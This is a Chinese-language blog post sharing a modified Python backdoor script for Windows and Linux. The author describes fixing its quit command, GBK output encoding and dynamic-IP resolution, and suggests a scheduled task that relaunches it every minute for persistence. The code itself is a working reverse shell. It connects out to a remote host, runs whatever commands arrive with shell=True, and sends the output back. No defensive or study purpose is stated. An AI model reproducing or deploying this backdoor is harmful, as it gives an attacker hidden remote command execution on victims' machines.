您的位置:首页 > 运维架构 > Linux

python编写简单后门程序(支持windows和linux且不乱码)

2016-12-04 18:28 489 查看
虽然不是自己写的,但是改了三个部分,网上发的这个,quit退出功能无法使用,因为传过来的字符串其实是加了\n的,为了更人性化,我加了去空格。

第二个部分就是windows下的乱码问题,这里我先用了decode进行解码,然后encode编码传过去(吐槽一下,这个windows下乱码问题,saltstack都没解决,不知道什么情况)

这个脚本可以用计划任务1分钟执行1次,不用担心脚本重启启动问题,因为端口被占用后是无法执行成功的

,所以不用担心。

服务端退出可以不用quit,直接ctrl+c,客户端是可以退出的

第三部分加了host = socket.gethostbyname(host) ,可以支持动态ip,防止更换ip造成客户端丢失

import subprocess
import socket
host = "host"
host = socket.gethostbyname(host)
port = port
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
client.send("Connected! quite to exit!\nCommand here: ")
while 1:
data = client.recv(1024)
if data.lstrip() ==  "quit\n": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read()+proc.stderr.read()
stdoutput = stdoutput.decode('gbk').encode('utf-8')
client.send(stdoutput)
client.send("Bye!")
client.close()


内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: